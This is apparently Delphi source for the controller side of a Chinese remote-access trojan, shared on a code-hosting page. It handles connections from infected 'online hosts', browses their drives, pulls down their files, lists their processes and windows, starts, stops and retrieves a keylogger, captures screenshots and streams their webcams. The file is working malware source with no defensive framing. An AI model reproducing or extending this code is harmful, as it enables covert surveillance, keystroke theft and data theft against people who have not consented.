📄 unit1.~pas
字号:
procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var
MyStream: TMemoryStream;
RecCMD,TempStr: string;
ListItem:TListItem;
RootDStrList: TStringList;
Tmpmemo: TStringlist;
TheLItem: TListItem;
tmplinestr, symbolstr, tmptimestr: string;
Drivernum, i,j:integer;
TMP: TTreeNode;
BufferLen: Integer;
MyBuffer: array[0..1000000] of byte;
memStream: TMemoryStream;
jpg: TJpegImage;
ASize:Int64;
AFileStream: TFileStream;
begin //执行反映
try
RecCMD:=AThread.Connection.ReadLn();
except
try
AThread.Connection.Disconnect;
AThread.Terminate;
except
end;
Exit;
end;
case strtoint(RecCMD) of //开始循环000 查看远程消息的传递
000: begin
if ReadSeverStream(AThread,TempStr) then
begin
Tmpmemo:= TStringlist.Create;
Tmpmemo.Clear;
Tmpmemo.Text:= TempStr;
OnlineServer[count].ServerName:= Tmpmemo.Strings[0];
OnlineServer[count].AThread:=AThread;
OnlineServer[count].Soc:= AThread.ThreadID;
OnlineServer[count].ServerAdd:= AThread.Connection.Socket.Binding.PeerIP;
ListItem:= ListView1.Items.Add;
ListItem.Caption:=OnlineServer[count].ServerName+'-'+inttostr(OnlineServer[count].Soc);
ListItem.SubItems.Add(OnlineServer[count].ServerAdd);
ListItem.SubItems.Add(Form1.GetIPtoAdder(AThread.Connection.Socket.Binding.PeerIP));
ListItem.SubItems.Add(Tmpmemo.Strings[1]);
ListItem.ImageIndex:=0;
inc(count);
Tmpmemo.Free;
end;
end;
001: begin
wenjian.Enabled:=false;
if ReadSeverStream(AThread,TempStr) then
begin
RootDStrList:=TStringList.Create;
RootDStrList.Text := TempStr;
wenjian.ListView1.Items.Clear;
if wenjian.Treeview1.Selected.HasChildren then
wenjian.Treeview1.Selected.DeleteChildren;
for i := 0 to RootDStrList.Count - 1 do
begin
if RootDStrList[i] = '' then Break; //停止
TempStr := Copy(RootDStrList[i], 1, 2);
TMP := wenjian.Treeview1.items.AddChild(wenjian.Treeview1.Selected, TempStr);
Drivernum := StrtoInt(Copy(RootDStrList[i], 3, 1));
TMP.ImageIndex :=7;
TMP.SelectedIndex := 7;
TMP := wenjian.Treeview1.items.AddChild(TMP, 'Loading...');
TMP.ImageIndex := -1;
TMP.SelectedIndex := -1;
with wenjian.ListView1.Items.Add do
begin
Caption := TempStr;
subitems.text :=' ';
ImageIndex := 2;
end;
end;
end;
wenjian.Enabled:=true;
end;
002: begin
wenjian.Enabled:=false;
if ReadSeverStream(AThread,TempStr) then
begin
Tmpmemo:= TStringlist.Create;
Tmpmemo.Clear;
Tmpmemo.Text:= TempStr;
if Tmpmemo.Text='' then
begin
Tmpmemo.Free;
wenjian.Enabled:=true;
Exit;
end;
wenjian.Treeview1.items.Delete(wenjian.Treeview1.Selected.getFirstChild);
for i:=0 to Tmpmemo.Count-1 do
begin
Tmplinestr := Tmpmemo.Strings[i];
Symbolstr := Copy(tmplinestr, 1, 1);
Tmptimestr := Copy(tmplinestr, 2, 16);
Delete(tmplinestr, 1, 17);
if symbolstr = '*' then
begin
TMP := wenjian.Treeview1.items.AddChild(wenjian.Treeview1.Selected, Tmplinestr);
TMP.ImageIndex := 8;
TMP.SelectedIndex := 9;
TMP := wenjian.Treeview1.items.AddChild(TMP, '.');
TMP.ImageIndex := -1;
TMP.SelectedIndex := -1;
with wenjian.ListView1.Items.Add do
begin
Caption := tmplinestr;
subitems.text := ' ';
wenjian.ListView1.Items.Item[i].SubItems.Add(Tmptimestr);
ImageIndex := 3;
end;
end;
if symbolstr = '\' then
begin
with wenjian.ListView1.Items.Add do
begin
Caption := copy(tmplinestr, length(getfilesize(tmplinestr)) + 2, length(tmplinestr));
subitems.text := getfilesize(tmplinestr);
ImageIndex :=5 ;
end;
end;
end;
end;
wenjian.Enabled:=true;
end;
013:begin
try
AFileStream := TFileStream.Create(SaveDialog1.FileName, fmCreate);
AThread.Connection.OnWork:= Form1.IdTCPServer1Work;
AThread.Connection.OnWorkBegin:=Form1.IdTCPServer1WorkBegin;
AThread.Connection.OnWorkEnd:= Form1.IdTCPServer1WorkEnd;
ASize:= AThread.Connection.ReadInteger();
AThread.Connection.ReadStream(AFileStream, ASize);
finally
AFileStream.Free;
end;
end;
020:begin
if ReadSeverStream(AThread,TempStr) then
begin
jincheng.ListView1.Items.Clear;
Tmpmemo := TStringList.Create;
Tmpmemo.Text:=TempStr;
// ----添加
j := 0;
for i := 0 to Tmpmemo.Count - 1 do
begin
if Tmpmemo.Strings[i] = '' then break; //停止
j := j + 1;
if j = 1 then
begin
TheLItem :=jincheng.ListView1.Items.Add;
TheLItem.Caption := Tmpmemo[i];
end;
if j = 2 then TheLItem.SubItems.Add(Tmpmemo[i]);
if j = 3 then TheLItem.SubItems.Add(Tmpmemo[i]);
if j = 4 then
begin
if StrToInt(Tmpmemo[i]) <= 2 then TheLItem.SubItems.Add('暂缺') else
if StrToInt(Tmpmemo[i]) <= 4 then TheLItem.SubItems.Add('低') else
if StrToInt(Tmpmemo[i]) <= 6 then TheLItem.SubItems.Add('低于标准') else
if StrToInt(Tmpmemo[i]) <= 8 then TheLItem.SubItems.Add('标准') else
if StrToInt(Tmpmemo[i]) <= 10 then TheLItem.SubItems.Add('高于标准') else
if StrToInt(Tmpmemo[i]) <= 13 then TheLItem.SubItems.Add('高') else
if StrToInt(Tmpmemo[i]) <= 24 then TheLItem.SubItems.Add('实时') else
TheLItem.SubItems.Add('暂缺');
end;
if j = 5 then
begin
TheLItem.SubItems.Add(Tmpmemo[i]);
j := 0;
end;
end;
Tmpmemo.Free;
end;
end;
030:begin
MyStream:=TMemoryStream.Create;
i := AThread.Connection.ReadInteger;
AThread.Connection.ReadStream(MyStream, i, False);
MyStream.Position := 0;
chuanko.ListBox1.Items.LoadFromStream(MyStream);
MyStream.Free;
end;
040:begin
if ReadSeverStream(AThread,TempStr) then
begin
if TempStr='Cmd009' then
jianpan.Memo1.Lines.Add('启动键盘记录成功!查看记录前请先终止键盘记录!');
if TempStr='Cmd010' then
jianpan.Memo1.Lines.Add('键盘记录已经启动过了!');
end;
end;
041:begin
if ReadSeverStream(AThread,TempStr) then
begin
if TempStr='Cmd012' then
jianpan.Memo1.Lines.Add('终止键盘记录成功!');
end;
end;
042:begin
MyStream:=TMemoryStream.Create;
i := AThread.Connection.ReadInteger;
AThread.Connection.ReadStream(MyStream, i, False);
MyStream.Position := 0;
jianpan.Memo1.Lines.LoadFromStream(MyStream);
MyStream.Free;
end;
043:begin
if ReadSeverStream(AThread,TempStr) then
begin
if TempStr='Cmd014' then
jianpan.Memo1.Lines.Add('清空键盘记录完成!');
end;
end;
050:begin
BufferLen:= AThread.Connection.ReadInteger();
AThread.Connection.ReadBuffer(MyBuffer,BufferLen);
MyFirstBmp.Clear;
MyFirstBmp.Write(MyBuffer,BufferLen);
MyFirstBmp.Position := 0;
pingmu.Show; //启动屏幕查看
pingmu.Image1.Picture.Bitmap.LoadFromStream(MyFirstBmp);
end;
060:begin
try
// repeat
while AThread.Connection.Connected do
begin
memStream := TMemoryStream.Create;
BufferLen := AThread.Connection.ReadInteger;
memStream.Size := BufferLen;
AThread.Connection.ReadBuffer(memStream.Memory^, BufferLen);
jpg := TJpegImage.Create;
jpg.LoadFromStream(memStream);
shipin.Image1.Picture.Bitmap.Assign(jpg);
jpg.Free;
memStream.Free;
// until (AThread.Connection.Connected=False);
end;
except
end;
end;
061:begin //擦测到摄像头
for i:=0 to count-1 do
begin
if OnlineServer[i].Soc = AThread.ThreadID then
begin
for j:=0 to ListView1.Items.Count-1 do
if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
begin
ListView1.Items.Item[j].ImageIndex:= 1;
break; //停止
end;
end;
end;
end;
062:begin
for i:=0 to count-1 do
begin
if OnlineServer[i].Soc = AThread.ThreadID then
begin
for j:=0 to ListView1.Items.Count-1 do
if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
begin
ListView1.Items.Item[j].ImageIndex:= 0;
break; //停止
end;
end;
end;
end;
064:begin
if ReadSeverStream(AThread,TempStr) then
shipin.StatusBar1.SimpleText:=TempStr;
end;
end; //end case
end;
procedure TForm1.IdTCPServer1WorkBegin(Sender: TObject; AWorkMode: TWorkMode; const AWorkCountMax: Integer);
begin
try
jindu.Gauge1.Progress := 0;
jindu.Gauge1.MaxValue := AWorkCountMax;
except
end;
end;
procedure TForm1.IdTCPServer1WorkEnd(Sender: TObject; AWorkMode: TWorkMode);
begin
jindu.Close;
end;
procedure TForm1.IdTCPServer1Work(Sender: TObject;AWorkMode: TWorkMode; const AWorkCount: Integer);
begin
try
jindu.Gauge1.Progress := AWorkCount;
Application.ProcessMessages;
except
end;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
MyFirstBmp.Free; //释放内存
FleshIPList.Free;
end;
procedure TForm1.ListView1Change(Sender: TObject; Item: TListItem;
Change: TItemChange);
begin
StatusBar1.Panels.Items[1].Text:='在线主机'+inttostr(ListView1.Items.Count)+'台';
end;
procedure TForm1.ListView1Click(Sender: TObject);
var
i:integer;
begin
//showmessage(inttostr(ListView1.ItemIndex ));
if ListView1.Items.Count<>0 then
if ListView1.ItemIndex <> -1 then
for i:=0 to count-1 do
begin
if OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) =ListView1.Items.Item[ListView1.ItemIndex ].Caption then //ListView1.Selected.Caption then
begin
CurrentThread:= OnlineServer[i].AThread;
break; //停止
end;
end;
end;
procedure TForm1.ToolButton7Click(Sender: TObject);
begin
ZhuDongCmdSend('030','',false);
chuanko.Show;
end;
procedure TForm1.ToolButton8Click(Sender: TObject);
begin
jianpan.Show;
end;
procedure TForm1.N7Click(Sender: TObject);
begin
ALALMN.Show;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -